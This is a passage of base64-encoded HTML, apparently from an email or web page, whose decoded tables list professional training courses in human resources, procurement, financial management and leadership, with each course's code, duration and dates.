ZT0ibWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBIdW1hbiBSZXNvdXJjZXMgKFdpdGggQ29tcHV0 ZXIgQXBwbGljYXRpb25zKTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVn IC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk1hbmFn ZW1lbnQgRGV2LiBQcm9ncmFtbWUgZm9yIFBBcyAmYW1wOyBBZG1pbmlzdHJhdG9yczwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TdXBlcnZpc29yeSAmYW1wOyBPcGVy YXRpb25zIE1hbmFnZW1lbnQod2l0aCBDb21wdXRlciBBcHBsaWNhdGlvbnMpPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwv dHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkdyaWV2YW5jZSBIYW5kbGluZyBhbmQgSFIg TWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yNyBKYW4gLSAwNyBGZWIgLyAyOCBKdWwgLSAwOCBB dWcgLyAyNyBPY3QgLSAwNyBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAwOTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PlN0cmF0ZWdpYyBIdW1hbiBSZXNvdXJjZSBNYW5hZ2VtZW50ICh3aXRoIENvbXB1dGVyIEFw cGxpY2F0aW9ucyk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEyIEF1ZyAvIDA3 IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMTA8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Xb3JrcGxhY2Ug Q291bnNlbGluZyAmYW1wOyBlbXBsb3llZSB3ZWxmYXJlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MjcgSmFuIC0gMDcgRmViIC8gMjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92 PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTE8L3N0 cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5PZmZpY2UgQWRtaW4mYW1wOyBC dXNpbmVzcyBNZXRob2RzICh3aXRoIENvbXB1dGVyIEFwcGxpY2F0aW9ucyk8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wMiAtIDA2IE1heSAvIDA1IC0gMDkgU2VwdCAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0 cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTI8L3N0cm9uZz48L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5MYWJvciBSZWxhdGlvbnMgJmFtcDsgQ29uZmxpY3Qg TWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yNyBKYW4gLSAwNyBGZWIgLyAyOCBKdWwgLSAwOCBB dWcgLyAyNyBPY3QgLSAwNyBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAxMzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PlBlcmZvcm1hbmNlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4x IFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAy MCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMTQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5UcmFpbmVycyAmYW1wOyBFZHVjYXRvcnMgV29ya3Nob3A8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBG ZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTU8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Db25zdWx0YW5jeSAmYW1wOyBBZHZpc29yeSBTZXJ2aWNl cyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAw NyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDE2PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+TWFuYWdlbWVu dCBTa2lsbHMgZm9yIEV4Y2VsbGVuY2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4y IFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjcgSmFuIC0gMDcgRmViIC8g MjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90 YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJj b2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7 IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9 ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJp ZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0cm9uZz5QUk9DVVJFTUVOVCBB TkQgQ09NTUVSQ0lBTCBDT1VSU0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNl bGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjkzNSIgc3R5bGU9ImNvbG9y OiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9u dC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz5QQzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPlByb2N1cmVtZW50IGFuZCBTdXBwbHkgQ2hhaW4gTWFuYWdlbWVudDwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlByb2N1cmVtZW50ICZhbXA7IENvbnRy YWN0cyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwg LyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij48c3Ryb25nPjAwMzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlBy b2N1cmVtZW50ICZhbXA7IFB1cmNoYXNpbmc8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIg LyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Db21tZXJjaWFsIGFuZCBwcm9jdXJlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5 IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPkFmcmljYSBQcm9jdXJlbWVudCBjb3Vyc2U8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBG ZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Db250cmFjdCBhbmQgU3VwcGxpZXIgTWFuYWdlbWVudDwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNzwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkVmZmVjdGl2ZSBOZWdvdGlhdGlv bnMgY291cnNlPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBP Y3QgLSAwNCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwODwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkltcG9ydGFu Y2Ugb2YgUHVyY2hhc2luZyBDb250cmFjdHM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAw MSAtIDEyIEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMDk8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5JbnRyb2R1Y3Rpb24gdG8gTmVnb3RpYXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBB cHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+Um9sZSBhbmQgU2NvcGUgb2YgUHVyY2hhc2luZzwvdGQ+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRy Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPlN1cHBseSBDaGFpbiBhbmQgTWF0ZXJpYWxzIE1hbmFn ZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0g MDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MTI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TeXN0ZW1zIGFuZCBQ cm9jZWR1cmVzIGluIFB1cmNoYXNpbmc8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4y IFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAt IDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PHAg c3R5bGU9Im1hcmdpbjowcHg7cGFkZGluZzowcHg7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJn YigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNp emU6IHNtYWxsOyB3aWRvd3M6IDE7Ij4mbmJzcDs8L3NwYW4+PGJyIHN0eWxlPSJjb2xvcjog cmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQt c2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxzdHJvbmc+RklOQU5DSUFMIE1BTkFHRU1FTlQg Q09VUlNFUzwvc3Ryb25nPjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIg Y2VsbHNwYWNpbmc9IjAiIHdpZHRoPSI5NDAiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwg MzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7 IHdpZG93czogMTsiPjx0Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+Rk08L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkNP VVJTRSBUSVRMRTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+RHVyYXRpb248L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPkRhdGVzPC9zdHJvbmc+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMDE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5B ZHZhbmNlZCBBdWRpdGluZyBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAwOCBKYW4gLyAw OSAtIDEzIE1heSAvIDI1IC0gMjkgSnVsPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5BZHZhbmNlZCBCdWRnZXRpbmcgYW5kIEJ1ZGdldGFyeSBDb250cm9sPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjExIC0gMjIgSmFuIC8gMTUgLSAyNiBBdWcgLyAxOSZuYnNwOyAtIDMwIFNlcHQ8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMzwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIERlYnQgTWFuYWdlbWVu dDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjMgV2Vla3M8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4wNCAtIDIyIEphbiAvIDA0IC0gMjIgSnVsIC8gMDcgLSAyNSBOb3Y8 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIEZpbmFuY2lhbCBN YW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjI1IEphbiAtIDA1IEZlYiAvIDA0IC0gMTUgSnVsIC8g MTAgLSAyMSBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkF1ZGl0aW5n IGFuZCBJbnRlcm5hbCBDb250cm9sPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBX ZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0 IEp1biAvIDAxIC0gMDUgQXVnPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5C dWRnZXRpbmcgYW5kIEJ1ZGdldGFyeSBDb250cm9sPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQg TWFyIC8gMjUgLSAyOSBKdWwmbmJzcDsgLyAxNCAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+Q3JlZGl0IE1hbmFnZW1lbnQgLE1vbml0b3JpbmcgYW5kIENv bnRyb2w8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAwNiAtIDEwIEp1biAvIDI0IC0g MjggT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDg8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5DYXNoIE1ndCZhbXA7 IEJhbmsgUmVjb24uIGZvciBGaW5hbmNpYWwgJmFtcDsgQWNjb3VudGluZyBvZmZpY2Vyczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4yNSBKYW4gLSAwNSBGZWIgLyAyNSBKdWx5IC0gMDUgQXVnIC8gMjQgT2N0 IC0gMDQgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDk8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5GaW5hbmNpYWwg TWFuYWdlbWVudCBmb3IgRGVidCBNYW5hZ2VyIGFuZCBBZG1pbmlzdHJhdG9yczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4yMiBGZWIgLSA3IE1hciAvIDI2IE1heSAtIDA2IEp1biAvIDEzIC0gMjQgT2N0PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTA8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5GaW5hbmNpYWwgTWFuYWdlbWVudCBm b3IgUHJvamVjdCBBY2NvdW50YW50czwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIg V2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xMSAtIDIyIEphbiAvIDE1IC0g MjYgQXVnIC8gMDMgLSAxNCBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PkZpbmFuY2lhbCBNYW5hZ2VtZW50IGZvciBQZW5zaW9uIEFkbWluaXN0cmF0b3JzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0IEp1biAvIDAxIC0gMDUgQXVnPC90ZD48L3Ry PjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxz cGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWws IHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNwOzwvc3Bh bj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlh bCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0cm9uZz5F WEVDVVRJVkUgJmFtcDsgTEVBREVSU0hJUCBERVZFTE9QRU1FTlQgQ09VUlNFUzwvc3Ryb25n PjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAi IHdpZHRoPSI5NDEiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWls eTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0 Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RUxEPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8L3N0 cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9uPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwvc3Ry b25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAx PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgTGVhZGVy c2hpcCBEZXZlbG9wbWVudCBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFy IC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Pcmdhbml6YXRpb25hbCBSZXN0cnVjdHVyaW5nIEFuZCBDaGFuZ2UgTWFuYWdl bWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0g MDQgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDM8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBQdWJs aWMgQWRtaW5pc3RyYXRpb24gJmFtcDsgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA3IC0gMTEg QXByIC8gMTcgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlN0 cmF0ZWdpYyBMZWFkZXJzaGlwIERldmVsb3BtZW50IFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIy IEZlYiAtIDI4IEZlYiAvIDI4IEp1bCAtIDAxIEF1ZyAvIDEwIC0gMTQgTm92PC90ZD48L3Ry 